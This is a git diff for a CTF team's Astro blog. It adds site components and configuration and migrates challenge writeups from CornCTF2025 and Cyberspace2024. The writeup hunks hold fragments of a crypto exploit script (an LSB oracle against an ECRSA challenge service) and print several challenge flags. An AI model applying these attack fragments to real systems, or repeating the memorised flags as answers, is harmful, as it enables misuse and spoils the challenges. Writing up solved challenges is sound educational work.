Icon } from "astro-icon/components"; +import I18nKey from "../i18n/i18nKey"; +import { i18n } from "../i18n/translation"; +import { getDir } from "../utils/url-utils"; +import ImageWrapper from "./misc/ImageWrapper.astro"; +import PostMetadata from "./PostMeta.astro"; + +interface Props { + class?: string; + entry: CollectionEntry<"posts">; + title: string; + url: string; + published: Date; + updated?: Date; + tags: string[]; + authors: string[]; + category: string | null; + image: string; + description: string; + draft: boolean; + style: string; +} +const { + entry, + title, + url, + published, + updated, + tags, + category, + image, + description, + style, +} = Astro.props; +const className = Astro.props.class; + +const hasCover = image !== undefined && image !== null && image !== ""; + +const coverWidth = "28%"; + +const { remarkPluginFrontmatter } = await entry.render(); +--- + +
+
+ + {title} + + + + + + + +
+ {description || remarkPluginFrontmatter.excerpt} +
+ + +
+
+ {remarkPluginFrontmatter.words} + { + " " + + i18n( + remarkPluginFrontmatter.words === 1 + ? I18nKey.wordCount + : I18nKey.wordsCount, + ) + } +
+
|
+
+ {remarkPluginFrontmatter.minutes} + { + " " + + i18n( + remarkPluginFrontmatter.minutes === 1 + ? I18nKey.minuteCount + : I18nKey.minutesCount, + ) + } +
+
+
+ + { + hasCover && ( + +
+
+ +
+ +
+ ) + } + + { + !hasCover && ( + + + + ) + } +
+
+
+ + diff --git a/src/components/PostMeta.astro b/src/components/PostMeta.astro new file mode 100644 index 00000000..bdf724f5 --- /dev/null +++ b/src/components/PostMeta.astro @@ -0,0 +1,119 @@ +--- +import { Icon } from "astro-icon/components"; +import I18nKey from "../i18n/i18nKey"; +import { i18n } from "../i18n/translation"; +import { formatDateToYYYYMMDD } from "../utils/date-utils"; +import { getCategoryUrl, getTagUrl } from "../utils/url-utils"; + +interface Props { + class: string; + published: Date; + updated?: Date; + tags: string[]; + points: number; + solves: number; + firstblood: boolean; + category: string | null; + hideTagsForMobile?: boolean; + hideUpdateDate?: boolean; +} +const { + published, + updated, + tags, + category, + points, + firstblood, + solves, + hideTagsForMobile = false, + hideUpdateDate = false, +} = Astro.props; +const className = Astro.props.class; +--- + +
+ +
+
+ +
+ {formatDateToYYYYMMDD(published)} +
+ + + {!hideUpdateDate && updated && updated.getTime() !== published.getTime() && ( +
+
+ +
+ {formatDateToYYYYMMDD(updated)} +
+ )} + + + + + +
+
+ +
+
+ {(tags && tags.length > 0) && tags.map((tag, i) => ( +
/
+ + {tag.trim()} + + ))} + {!(tags && tags.length > 0) &&
{i18n(I18nKey.noTags)}
} +
+
+ {/* points */} + {points !== -1 && ( +
+
+ +
+ {points} {points === 1 ? i18n(I18nKey.points) : i18n(I18nKey.points)} +
+ )} + {/* solves */} + {solves !== -1 && ( +
+
+ +
+ {solves} {solves === 1 ? i18n(I18nKey.solves) : i18n(I18nKey.solves)} +
+ )} + + {/* firstbools */} + {firstblood && ( +
+
+ +
+ {i18n(I18nKey.firstblood)} +
+ )} +
diff --git a/src/components/PostPage.astro b/src/components/PostPage.astro new file mode 100644 index 00000000..fc9496b5 --- /dev/null +++ b/src/components/PostPage.astro @@ -0,0 +1,33 @@ +--- +import type { CollectionEntry } from "astro:content"; +import { getPostUrlBySlug } from "@utils/url-utils"; +import PostCard from "./PostCard.astro"; + +const { page } = Astro.props; + +let delay = 0; +const interval = 50; +--- + +
+ {page.data.map((entry: CollectionEntry<"posts">) => ( + + )) + } +
diff --git a/src/components/Search.svelte b/src/components/Search.svelte new file mode 100644 index 00000000..9b114b91 --- /dev/null +++ b/src/components/Search.svelte @@ -0,0 +1,198 @@ + + + + + + + + + +
+ + +
+ + +
+ + + {#each result as item} + +
+ {item.meta.title} +
+
+ {@html item.excerpt} +
+
+ {/each} +
+ + diff --git a/src/components/control/BackToTop.astro b/src/components/control/BackToTop.astro new file mode 100644 index 00000000..0a93af4c --- /dev/null +++ b/src/components/control/BackToTop.astro @@ -0,0 +1,49 @@ +--- +import { Icon } from "astro-icon/components"; +--- + + + + + + + diff --git a/src/components/control/ButtonLink.astro b/src/components/control/ButtonLink.astro new file mode 100644 index 00000000..6977512f --- /dev/null +++ b/src/components/control/ButtonLink.astro @@ -0,0 +1,43 @@ +--- +interface Props { + badge?: string; + url?: string; + label?: string; +} +const { badge, url, label } = Astro.props; +--- + + + diff --git a/src/components/control/ButtonTag.astro b/src/components/control/ButtonTag.astro new file mode 100644 index 00000000..3af75333 --- /dev/null +++ b/src/components/control/ButtonTag.astro @@ -0,0 +1,13 @@ +--- +interface Props { + size?: string; + dot?: boolean; + href?: string; + label?: string; +} +const { dot, href, label }: Props = Astro.props; +--- + + {dot &&
} + +
diff --git a/src/components/control/Pagination.astro b/src/components/control/Pagination.astro new file mode 100644 index 00000000..6afb5449 --- /dev/null +++ b/src/components/control/Pagination.astro @@ -0,0 +1,84 @@ +--- +import type { Page } from "astro"; +import { Icon } from "astro-icon/components"; +import { url } from "../../utils/url-utils"; + +interface Props { + page: Page; + class?: string; + style?: string; +} + +const { page, style } = Astro.props; + +const HIDDEN = -1; + +const className = Astro.props.class; + +const ADJ_DIST = 2; +const VISIBLE = ADJ_DIST * 2 + 1; + +// for test +let count = 1; +let l = page.currentPage; +let r = page.currentPage; +while (0 < l - 1 && r + 1 <= page.lastPage && count + 2 <= VISIBLE) { + count += 2; + l--; + r++; +} +while (0 < l - 1 && count < VISIBLE) { + count++; + l--; +} +while (r + 1 <= page.lastPage && count < VISIBLE) { + count++; + r++; +} + +let pages: number[] = []; +if (l > 1) pages.push(1); +if (l === 3) pages.push(2); +if (l > 3) pages.push(HIDDEN); +for (let i = l; i <= r; i++) pages.push(i); +if (r < page.lastPage - 2) pages.push(HIDDEN); +if (r === page.lastPage - 2) pages.push(page.lastPage - 1); +if (r < page.lastPage) pages.push(page.lastPage); + +const getPageUrl = (p: number) => { + if (p === 1) return "/"; + return `/${p}/`; +}; +--- + +
+ + + +
+ {pages.map((p) => { + if (p == HIDDEN) + return ; + if (p == page.currentPage) + return
+ {p} +
+ return {p} + })} +
+ + + +
\ No newline at end of file diff --git a/src/components/misc/ImageWrapper.astro b/src/components/misc/ImageWrapper.astro new file mode 100644 index 00000000..1d3487b7 --- /dev/null +++ b/src/components/misc/ImageWrapper.astro @@ -0,0 +1,54 @@ +--- +import path from "node:path"; + +interface Props { + id?: string; + src: string; + class?: string; + alt?: string; + position?: string; + basePath?: string; +} + +import { Image } from "astro:assets"; +import { url } from "../../utils/url-utils"; + +const { id, src, alt, position = "center", basePath = "/" } = Astro.props; +const className = Astro.props.class; + +const isLocal = !( + src.startsWith("/") || + src.startsWith("http") || + src.startsWith("https") || + src.startsWith("data:") +); +const isPublic = src.startsWith("/"); + +// TODO temporary workaround for images dynamic import +// https://github.com/withastro/astro/issues/3373 +// biome-ignore lint/suspicious/noImplicitAnyLet: +let img; +if (isLocal) { + const files = import.meta.glob("../../**", { + import: "default", + }); + let normalizedPath = path + .normalize(path.join("../../", basePath, src)) + .replace(/\\/g, "/"); + const file = files[normalizedPath]; + if (!file) { + console.error( + `\n[ERROR] Image file not found: ${normalizedPath.replace("../../", "src/")}`, + ); + } + img = await file(); +} + +const imageClass = "w-full h-full object-cover"; +const imageStyle = `object-position: ${position}`; +--- +
+
+ {isLocal && img && {alt} + {!isLocal && {alt} +
diff --git a/src/components/misc/License.astro b/src/components/misc/License.astro new file mode 100644 index 00000000..d18be6e8 --- /dev/null +++ b/src/components/misc/License.astro @@ -0,0 +1,69 @@ +--- +import { Icon } from "astro-icon/components"; +import { licenseConfig, profileConfig } from "../../config"; +import I18nKey from "../../i18n/i18nKey"; +import { i18n } from "../../i18n/translation"; +import { formatDateToYYYYMMDD } from "../../utils/date-utils"; + +interface Props { + title: string; + slug: string; + authors: string[]; + pubDate: Date; + class: string; +} + +const { title, pubDate, authors } = Astro.props; +const className = Astro.props.class; +const profileConf = profileConfig; +const licenseConf = licenseConfig; +const postUrl = decodeURIComponent(Astro.url.toString()); +--- + +
+
+ {title} +
+ + {postUrl} + +
+
+
+ {i18n(I18nKey.author)} +
+
+ {authors} +
+
+
+
+ {i18n(I18nKey.publishedAt)} +
+
+ {formatDateToYYYYMMDD(pubDate)} +
+
+
+
+ {i18n(I18nKey.license)} +
+ {licenseConf.name} +
+
+ +
diff --git a/src/components/misc/Markdown.astro b/src/components/misc/Markdown.astro new file mode 100644 index 00000000..33415d03 --- /dev/null +++ b/src/components/misc/Markdown.astro @@ -0,0 +1,43 @@ +--- +import "@fontsource-variable/jetbrains-mono"; +import "@fontsource-variable/jetbrains-mono/wght-italic.css"; + +interface Props { + class: string; +} +const className = Astro.props.class; +--- +
+ + + +
+ + diff --git a/src/components/ui/babdge.tsx b/src/components/ui/babdge.tsx new file mode 100644 index 00000000..7fa2c180 --- /dev/null +++ b/src/components/ui/babdge.tsx @@ -0,0 +1,46 @@ +import { Slot } from "@radix-ui/react-slot"; +import { cva, type VariantProps } from "class-variance-authority"; +import type * as React from "react"; + +import { cn } from "@/lib/utils"; + +const badgeVariants = cva( + "inline-flex items-center justify-center rounded-full border px-2 py-0.5 text-xs font-medium w-fit whitespace-nowrap shrink-0 [&>svg]:size-3 gap-1 [&>svg]:pointer-events-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive transition-[color,box-shadow] overflow-hidden", + { + variants: { + variant: { + default: + "border-transparent bg-primary text-primary-foreground [a&]:hover:bg-primary/90", + secondary: + "border-transparent bg-secondary text-secondary-foreground [a&]:hover:bg-secondary/90", + destructive: + "border-transparent bg-destructive text-white [a&]:hover:bg-destructive/90 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 dark:bg-destructive/60", + outline: + "text-foreground [a&]:hover:bg-accent [a&]:hover:text-accent-foreground", + }, + }, + defaultVariants: { + variant: "default", + }, + }, +); + +function Badge({ + className, + variant, + asChild = false, + ...props +}: React.ComponentProps<"span"> & + VariantProps & { asChild?: boolean }) { + const Comp = asChild ? Slot : "span"; + + return ( + + ); +} + +export { Badge, badgeVariants }; diff --git a/src/components/widget/Categories.astro b/src/components/widget/Categories.astro new file mode 100644 index 00000000..942e33df --- /dev/null +++ b/src/components/widget/Categories.astro @@ -0,0 +1,35 @@ +--- +import I18nKey from "../../i18n/i18nKey"; +import { i18n } from "../../i18n/translation"; +import { getCategoryList } from "../../utils/content-utils"; +import ButtonLink from "../control/ButtonLink.astro"; +import WidgetLayout from "./WidgetLayout.astro"; + +const categories = await getCategoryList(); + +const COLLAPSED_HEIGHT = "7.5rem"; +const COLLAPSE_THRESHOLD = 5; + +const isCollapsed = categories.length >= COLLAPSE_THRESHOLD; + +interface Props { + class?: string; + style?: string; +} +const className = Astro.props.class; +const style = Astro.props.style; +--- + + + {categories.map((c) => + + {c.name.trim()} + + )} + diff --git a/src/components/widget/DisplaySettings.svelte b/src/components/widget/DisplaySettings.svelte new file mode 100644 index 00000000..886b6617 --- /dev/null +++ b/src/components/widget/DisplaySettings.svelte @@ -0,0 +1,93 @@ + + +
+
+
+ {i18n(I18nKey.themeColor)} + +
+
+
+ {hue} +
+
+
+
+ +
+
+ + + diff --git a/src/components/widget/NavMenuPanel.astro b/src/components/widget/NavMenuPanel.astro new file mode 100644 index 00000000..cf141e3c --- /dev/null +++ b/src/components/widget/NavMenuPanel.astro @@ -0,0 +1,32 @@ +--- +import { Icon } from "astro-icon/components"; +import { type NavBarLink } from "../../types/config"; +import { url } from "../../utils/url-utils"; + +interface Props { + links: NavBarLink[]; +} + +const links = Astro.props.links; +--- + diff --git a/src/components/widget/Profile.astro b/src/components/widget/Profile.astro new file mode 100644 index 00000000..22eddcac --- /dev/null +++ b/src/components/widget/Profile.astro @@ -0,0 +1,39 @@ +--- +import { Icon } from "astro-icon/components"; +import { profileConfig } from "../../config"; +import { url } from "../../utils/url-utils"; +import ImageWrapper from "../misc/ImageWrapper.astro"; + +const config = profileConfig; +--- +
+ +
+ + +
+ +
+
+
{config.name}
+
+
{config.bio}
+
+ {config.links.length > 1 && config.links.map(item => + + + + )} + {config.links.length == 1 && + + {config.links[0].name} + } +
+
+
+ diff --git a/src/components/widget/SideBar.astro b/src/components/widget/SideBar.astro new file mode 100644 index 00000000..f3bafc28 --- /dev/null +++ b/src/components/widget/SideBar.astro @@ -0,0 +1,22 @@ +--- +import type { MarkdownHeading } from "astro"; +import Categories from "./Categories.astro"; +import Profile from "./Profile.astro"; +import Tag from "./Tags.astro"; + +interface Props { + class?: string; + headings?: MarkdownHeading[]; +} + +const className = Astro.props.class; +--- + diff --git a/src/components/widget/TOC.astro b/src/components/widget/TOC.astro new file mode 100644 index 00000000..6cb2fab3 --- /dev/null +++ b/src/components/widget/TOC.astro @@ -0,0 +1,268 @@ +--- +import type { MarkdownHeading } from "astro"; +import { siteConfig } from "../../config"; +import { url } from "../../utils/url-utils"; + +interface Props { + class?: string; + headings: MarkdownHeading[]; +} + +let { headings = [] } = Astro.props; + +let minDepth = 10; +for (const heading of headings) { + minDepth = Math.min(minDepth, heading.depth); +} + +const className = Astro.props.class; +const isPostsRoute = Astro.url.pathname.startsWith(url("/posts/")); + +const removeTailingHash = (text: string) => { + let lastIndexOfHash = text.lastIndexOf("#"); + if (lastIndexOfHash !== text.length - 1) { + return text; + } + + return text.substring(0, lastIndexOfHash); +}; + +let heading1Count = 1; + +const maxLevel = siteConfig.toc.depth; +--- +{isPostsRoute && + + {headings.filter((heading) => heading.depth < minDepth + maxLevel).map((heading) => + +
+ {heading.depth == minDepth && heading1Count++} + {heading.depth == minDepth + 1 &&
} + {heading.depth == minDepth + 2 &&
} +
+
{removeTailingHash(heading.text)}
+
+ )} +
+
} + + \ No newline at end of file diff --git a/src/components/widget/Tags.astro b/src/components/widget/Tags.astro new file mode 100644 index 00000000..5ed0b62b --- /dev/null +++ b/src/components/widget/Tags.astro @@ -0,0 +1,31 @@ +--- + +import I18nKey from "../../i18n/i18nKey"; +import { i18n } from "../../i18n/translation"; +import { getTagList } from "../../utils/content-utils"; +import { getTagUrl } from "../../utils/url-utils"; +import ButtonTag from "../control/ButtonTag.astro"; +import WidgetLayout from "./WidgetLayout.astro"; + +const tags = await getTagList(); + +const COLLAPSED_HEIGHT = "7.5rem"; + +const isCollapsed = tags.length >= 20; + +interface Props { + class?: string; + style?: string; +} +const className = Astro.props.class; +const style = Astro.props.style; +--- + +
+ {tags.map(t => ( + + {t.name.trim()} + + ))} +
+
\ No newline at end of file diff --git a/src/components/widget/WidgetLayout.astro b/src/components/widget/WidgetLayout.astro new file mode 100644 index 00000000..870dcfb8 --- /dev/null +++ b/src/components/widget/WidgetLayout.astro @@ -0,0 +1,60 @@ +--- +import { Icon } from "astro-icon/components"; +import I18nKey from "../../i18n/i18nKey"; +import { i18n } from "../../i18n/translation"; + +interface Props { + id: string; + name?: string; + isCollapsed?: boolean; + collapsedHeight?: string; + class?: string; + style?: string; +} +const { id, name, isCollapsed, collapsedHeight, style } = Astro.props; +const className = Astro.props.class; +--- + +
{name}
+
+ +
+ {isCollapsed &&
+ +
} +
+ + + + diff --git a/src/config.ts b/src/config.ts new file mode 100644 index 00000000..ef599298 --- /dev/null +++ b/src/config.ts @@ -0,0 +1,95 @@ +import type { + ExpressiveCodeConfig, + LicenseConfig, + NavBarConfig, + ProfileConfig, + SiteConfig, +} from "./types/config"; +import { LinkPreset } from "./types/config"; + +export const siteConfig: SiteConfig = { + title: "ByteTheCookies", + subtitle: "CTF Team based in Italy", + lang: "en", // Language code, e.g. 'en', 'zh_CN', 'ja', etc. + themeColor: { + hue: 78, // Default hue for the theme color, from 0 to 360. e.g. red: 0, teal: 200, cyan: 250, pink: 345 + fixed: true, // Hide the theme color picker for visitors + }, + banner: { + enable: false, + src: "assets/images/demo-banner.png", // Relative to the /src directory. Relative to the /public directory if it starts with '/' + position: "center", // Equivalent to object-position, only supports 'top', 'center', 'bottom'. 'center' by default + credit: { + enable: true, // Display the credit text of the banner image + text: "", // Credit text to be displayed + url: "", // (Optional) URL link to the original artwork or artist's page + }, + }, + toc: { + enable: true, // Display the table of contents on the right side of the post + depth: 2, // Maximum heading depth to show in the table, from 1 to 3 + }, + favicon: [ + { + src: "/favicon/favicon.ico", // Path of the favicon, relative to the /public directory + // theme: 'light', // (Optional) Either 'light' or 'dark', set only if you have different favicons for light and dark mode + // sizes: '32x32', // (Optional) Size of the favicon, set only if you have favicons of different sizes + }, + ], +}; + +export const navBarConfig: NavBarConfig = { + links: [ + LinkPreset.Home, + LinkPreset.Archive, + LinkPreset.About, + LinkPreset.Team, + { + name: "GitHub", + url: "https://github.com/ByteTheCookies", // Internal links should not include the base path, as it is automatically added + external: true, // Show an external link icon and will open in a new tab + }, + ], +}; + +export const profileConfig: ProfileConfig = { + avatar: "assets/images/logo.png", // Relative to the /src directory. Relative to the /public directory if it starts with '/' + name: "ByteTheCookies", + bio: "A CTF team formed by students from the University of Salerno after participating in the CyberChallenge 2024.", + links: [ + { + name: "X", + icon: "fa6-brands:x-twitter", // Visit https://icones.js.org/ for icon codes + // You will need to install the corresponding icon set if it's not already included + // `pnpm add @iconify-json/` + url: "https://x.com/bytethecookies", + }, + { + name: "Linkedin", + icon: "fa6-brands:linkedin", + url: "https://www.linkedin.com/company/bytethecookies/posts/?feedView=all", + }, + { + name: "GitHub", + icon: "fa6-brands:github", + url: "https://github.com/ByteTheCookies", + }, + { + name: "CTFtime", + icon: "mingcute:flag-4-fill", + url: "https://ctftime.org/team/309819", + }, + ], +}; + +export const licenseConfig: LicenseConfig = { + enable: true, + name: "CC BY-NC-SA 4.0", + url: "https://creativecommons.org/licenses/by-nc-sa/4.0/", +}; + +export const expressiveCodeConfig: ExpressiveCodeConfig = { + // Note: Some styles (such as background color) are being overridden, see the astro.config.mjs file. + // Please select a dark theme, as this blog theme currently only supports dark background color + theme: "github-dark", +}; diff --git a/src/constants/constants.ts b/src/constants/constants.ts new file mode 100644 index 00000000..896150dd --- /dev/null +++ b/src/constants/constants.ts @@ -0,0 +1,17 @@ +export const PAGE_SIZE = 8; + +export const LIGHT_MODE = "light", + DARK_MODE = "dark", + AUTO_MODE = "auto"; +export const DEFAULT_THEME = AUTO_MODE; + +// Banner height unit: vh +export const BANNER_HEIGHT = 35; +export const BANNER_HEIGHT_EXTEND = 30; +export const BANNER_HEIGHT_HOME = BANNER_HEIGHT + BANNER_HEIGHT_EXTEND; + +// The height the main panel overlaps the banner, unit: rem +export const MAIN_PANEL_OVERLAPS_BANNER_HEIGHT = 3.5; + +// Page width: rem +export const PAGE_WIDTH = 75; diff --git a/src/constants/icon.ts b/src/constants/icon.ts new file mode 100644 index 00000000..f03efbab --- /dev/null +++ b/src/constants/icon.ts @@ -0,0 +1,44 @@ +import type { Favicon } from "@/types/config.ts"; + +export const defaultFavicons: Favicon[] = [ + { + src: "/favicon/favicon-light-32.png", + theme: "light", + sizes: "32x32", + }, + { + src: "/favicon/favicon-light-128.png", + theme: "light", + sizes: "128x128", + }, + { + src: "/favicon/favicon-light-180.png", + theme: "light", + sizes: "180x180", + }, + { + src: "/favicon/favicon-light-192.png", + theme: "light", + sizes: "192x192", + }, + { + src: "/favicon/favicon-dark-32.png", + theme: "dark", + sizes: "32x32", + }, + { + src: "/favicon/favicon-dark-128.png", + theme: "dark", + sizes: "128x128", + }, + { + src: "/favicon/favicon-dark-180.png", + theme: "dark", + sizes: "180x180", + }, + { + src: "/favicon/favicon-dark-192.png", + theme: "dark", + sizes: "192x192", + }, +]; diff --git a/src/constants/link-presets.ts b/src/constants/link-presets.ts new file mode 100644 index 00000000..b76dcb86 --- /dev/null +++ b/src/constants/link-presets.ts @@ -0,0 +1,22 @@ +import I18nKey from "@i18n/i18nKey"; +import { i18n } from "@i18n/translation"; +import { LinkPreset, type NavBarLink } from "@/types/config"; + +export const LinkPresets: { [key in LinkPreset]: NavBarLink } = { + [LinkPreset.Home]: { + name: i18n(I18nKey.home), + url: "/", + }, + [LinkPreset.About]: { + name: i18n(I18nKey.about), + url: "/about/", + }, + [LinkPreset.Archive]: { + name: i18n(I18nKey.archive), + url: "/archive/", + }, + [LinkPreset.Team]: { + name: i18n(I18nKey.team), + url: "/team/", + }, +}; diff --git a/src/content/config.ts b/src/content/config.ts new file mode 100644 index 00000000..4824b202 --- /dev/null +++ b/src/content/config.ts @@ -0,0 +1,32 @@ +import { defineCollection, z } from "astro:content"; + +const postsCollection = defineCollection({ + schema: z.object({ + title: z.string(), + published: z.date(), + updated: z.date().optional(), + draft: z.boolean().optional().default(false), + description: z.string().optional().default(""), + image: z.string().optional().default(""), + tags: z.array(z.string()).optional().default([]), + category: z.string().optional().nullable().default(""), + lang: z.string().optional().default(""), + authors: z.array(z.string()).optional().default([]), + solves: z.number().optional().default(-1), + points: z.number().optional().default(-1), + firstblood: z.boolean().optional().default(false), + + /* For internal use */ + prevTitle: z.string().default(""), + prevSlug: z.string().default(""), + nextTitle: z.string().default(""), + nextSlug: z.string().default(""), + }), +}); +const specCollection = defineCollection({ + schema: z.object({}), +}); +export const collections = { + posts: postsCollection, + spec: specCollection, +}; diff --git a/content/writeups/cornctf2025/aeronaut.md b/src/content/posts/cornctf2025-aeronaut.md similarity index 92% rename from content/writeups/cornctf2025/aeronaut.md rename to src/content/posts/cornctf2025-aeronaut.md index d5deb743..1b031ce0 100644 --- a/content/writeups/cornctf2025/aeronaut.md +++ b/src/content/posts/cornctf2025-aeronaut.md @@ -1,20 +1,19 @@ -+++ -title = 'aeronaut' -tags = [ - "web", - "python", - "Insecure randomness", - "300 points", - "17 solves", - "Stecca", -] -date = 2025-07-08T20:33:23+02:00 -draft = true -+++ - -

Aeronaut

- -**Description**: Aeronaut is a gambling game in which you bet on a multiplier. The goal is to get 100.000.000$. Good luck! +--- +title: CornCTF2025 | Aeronaut +published: 2025-11-21 +description: Aeronaut is a gambling game in which you bet on a multiplier. The goal is to get 100.000.000$. Good luck! +image: '' +tags: ["web"] +authors: ["akiidjk"] +solves: 17 +points: 300 +firstblood: false +category: CornCTF2025 +draft: false + +--- + + ## Introduction @@ -180,7 +179,4 @@ if __name__ == "__main__": ``` -```stdout -$ flag: corn{1_d0n7_g4mbl3_i_a1w4y5_w1n} -``` -

Author: akiidjk

+flag: :spoiler[corn{1_d0n7_g4mbl3_i_a1w4y5_w1n}] diff --git a/content/writeups/cornctf2025/ecrsa.md b/src/content/posts/cornctf2025-ecrsa.md similarity index 95% rename from content/writeups/cornctf2025/ecrsa.md rename to src/content/posts/cornctf2025-ecrsa.md index 7d3b2a30..7de91a59 100644 --- a/content/writeups/cornctf2025/ecrsa.md +++ b/src/content/posts/cornctf2025-ecrsa.md @@ -1,23 +1,27 @@ -+++ -title = 'ECRSA' -date = 2025-06-23T18:30:32+02:00 -tags = [ - "crypto", - "496 points", - "4 solves", - "Just_Riccio" -] -draft = true -+++ - -# ECRSA -RSA or Elliptic Curves? Why not both? +--- +title: CornCTF2025 | ECRSA +published: 2025-11-21 +description: RSA or Elliptic Curves? Why not both? +image: '' +tags: ["crypto"] +authors: ["vympel"] +solves: 4 +points: 496 +firstblood: true +category: CornCTF2025 +draft: false + +--- ## Introduction ECRSA was a crypto CTF from [cornCTF 2025](https://ctftime.org/event/2762). +## Source + ```python +# filename: main.py + #!/usr/bin/env python3 from secret_params import curve_p, a, b, order, secret_point_x, secret_point_y import os @@ -112,9 +116,11 @@ while True: else: print("Invalid choice") ``` + The flag is simply encrypted with RSA, while the service provides a modified ECDSA signing oracle. ## Solution + There are 3 steps to the solution: 1. Recover the `secret_point` 2. Figure out the curve parameters @@ -125,6 +131,7 @@ This step is really easy as the check in `sign` for the value of `m` is done bef ### Figuring out the curve parameters With `secret_point` now ours and being able to provide `sign` with any `user_point` we can query the oracle to obtain a few points on the curve, with said points we can recover the parameters: + ```python def solve_curve_parameters(r): points = set() @@ -182,6 +189,7 @@ The idea is to use an LSB-Oracle: > so we can construct bit by bit the value of $m$ by multiplying $c$ by $2^e$ each time In the context of the challenge we need a way to distinguish odd and even values of `pow(m, d, n)`. This can be achieved with a point of order $2$ on the curve, since when `pow(m, d, n)` is even, multiplying it with our given point $P$ will give the identity, which added to `secret_point` will give this one back, otherwise we'll get $P$ plus `secret_point`. + ```python def lsb_oracle(r, P): l, u = 0, n @@ -200,6 +208,7 @@ def lsb_oracle(r, P): ### Full solve script ```python +#filename: exploit.py import os os.environ['TERM'] = 'linux' @@ -312,7 +321,5 @@ print('flag:', int(m).to_bytes(64)[:-1].decode() + '}') r.close() ``` -``` -flag: corn{br34k1ng_dl0g_15_h4rd_bu7_m0d_2_m4k35_3v3ry7h1ng_funn13r!!} -``` -

Author: vympel

+ +flag: :spoiler[corn{br34k1ng_dl0g_15_h4rd_bu7_m0d_2_m4k35_3v3ry7h1ng_funn13r!!}] diff --git a/content/writeups/cornctf2025/simple-chat.md b/src/content/posts/cornctf2025-simple-chat.md similarity index 89% rename from content/writeups/cornctf2025/simple-chat.md rename to src/content/posts/cornctf2025-simple-chat.md index 8592896e..dcb1cdb0 100644 --- a/content/writeups/cornctf2025/simple-chat.md +++ b/src/content/posts/cornctf2025-simple-chat.md @@ -1,21 +1,20 @@ -+++ -title = 'Simple Chat' -tags = [ - "web", - "python", - "SQLi + XSS", - "280 points", - "22 solves", - "Val", -] -date = 2025-07-08T20:33:28+02:00 -draft = true -+++ +--- +title: CornCTF2025 | Simple Chat +published: 2025-07-08 +description: Simple web application to chat with your friends! Sometimes it does funny things and it's ok like that +image: '' +tags: ["web"] +authors: ["akiidjk"] +solves: 22 +points: 280 +firstblood: false +category: CornCTF2025 +draft: false + +--- -

Simple-Chat

-**Description**: Simple web application to chat with your friends! Sometimes it does funny things and it's ok like that ## Introduction @@ -158,7 +157,4 @@ if __name__ == "__main__": # goodluck by @akiidjk ``` -```stdout -$ flag: corn{d0ubl3_uns4n1t1z4tion_d4mnnnn_f45a85f9d6346d8b} -``` -

Author: akiidjk

+flag: :spoiler[corn{d0ubl3_uns4n1t1z4tion_d4mnnnn_f45a85f9d6346d8b}] diff --git a/content/writeups/cyberspace2024/feature_unlocked.md b/src/content/posts/cyberspace2024-feature_unlocked.md similarity index 93% rename from content/writeups/cyberspace2024/feature_unlocked.md rename to src/content/posts/cyberspace2024-feature_unlocked.md index 11cabf10..846c9b19 100644 --- a/content/writeups/cyberspace2024/feature_unlocked.md +++ b/src/content/posts/cyberspace2024-feature_unlocked.md @@ -1,22 +1,19 @@ -+++ -title = 'Feature Unlocked' -tags = [ - "Web", - "Python", - "SSRF", - "50 points", - "184 solves", - "cryptocat", -] -date = 2024-09-02T10:59:31+02:00 -draft = true -+++ - -

Feature unlocked

- -**Description**: The world's coolest app has a brand new feature! Too bad it's not released until after the CTF.. - -**Link**: +--- +title: Cyberspace2024 | Feature Unlocked +published: 2024-09-02 +description: The world's coolest app has a brand new feature! Too bad it's not released until after the CTF.. +image: '' +tags: ["web"] +authors: ["akiidjk"] +solves: 184 +points: 50 +firstblood: false +category: Cyberspace2024 +draft: false + +--- + + ## Introduction @@ -309,8 +306,4 @@ if __name__ == "__main__": ``` -```stdout -$ flag: CSCTF{d1d_y0u_71m3_7r4v3l_f0r_7h15_fl46?!} -``` - -

Author: akiidjk

+flag: :spoiler[CSCTF{d1d_y0u_71m3_7r4v3l_f0r_7h15_fl46?!}] diff --git a/content/writeups/cyberspace2024/snake.md b/src/content/posts/cyberspace2024-snake.md similarity index 81% rename from content/writeups/cyberspace2024/snake.md rename to src/content/posts/cyberspace2024-snake.md index 0bd09692..cdd9d84c 100644 --- a/content/writeups/cyberspace2024/snake.md +++ b/src/content/posts/cyberspace2024-snake.md @@ -1,20 +1,17 @@ -+++ -title = 'Snake' -tags = [ - "Reverse", - "Rust", - "File patching", - "50 points", - "122 solves", - "0xM4hm0ud", -] -date = 2024-09-02T10:59:36+02:00 -draft = true -+++ - -

Snake

- -**Description**: Can you slither to the win? +--- +title: Cyberspace2024 | Snake +published: 2024-09-02 +description: Can you slither to the win? +image: '' +tags: ["reverse"] +authors: ["akiidjk"] +solves: 122 +points: 50 +firstblood: false +category: Cyberspace2024 +draft: false + +--- **Link to the binary**: [Elf file](https://2024.csc.tf/files/263575efcd73ff01d2bf123993065b37/snake?token=eyJ1c2VyX2lkIjo3ODgsInRlYW1faWQiOjM5MCwiZmlsZV9pZCI6MTJ9.ZtWYng.7QVOp_u1X-NXMNS72mApiwM1GqU) @@ -50,8 +47,4 @@ In this way, once we have scored at least one point, we will have the flag ![alt text](/images/snake/image-4.png) -```stdout -$ flag: CSCTF{Y0u_b34T_My_Sl1th3r_G4m3!} -``` - -

Author: akiidjk

+flag: :spoiler[CSCTF{Y0u_b34T_My_Sl1th3r_G4m3!}] diff --git a/content/writeups/cyberspace2024/trendy_windy_trigonity.md b/src/content/posts/cyberspace2024-trendy_windy_trigonity.md similarity index 83% rename from content/writeups/cyberspace2024/trendy_windy_trigonity.md rename to src/content/posts/cyberspace2024-trendy_windy_trigonity.md index 02773f75..813befbc 100644 --- a/content/writeups/cyberspace2024/trendy_windy_trigonity.md +++ b/src/content/posts/cyberspace2024-trendy_windy_trigonity.md @@ -1,19 +1,19 @@ -+++ -title = 'trendy windy trigonity' -tags = [ - "Crypto", - "Sage", - "417 points", - "44 solves", - "ndr", -] -date = 2024-09-02T10:58:30+02:00 -draft = true -+++ - -

Trendy windy trigonity

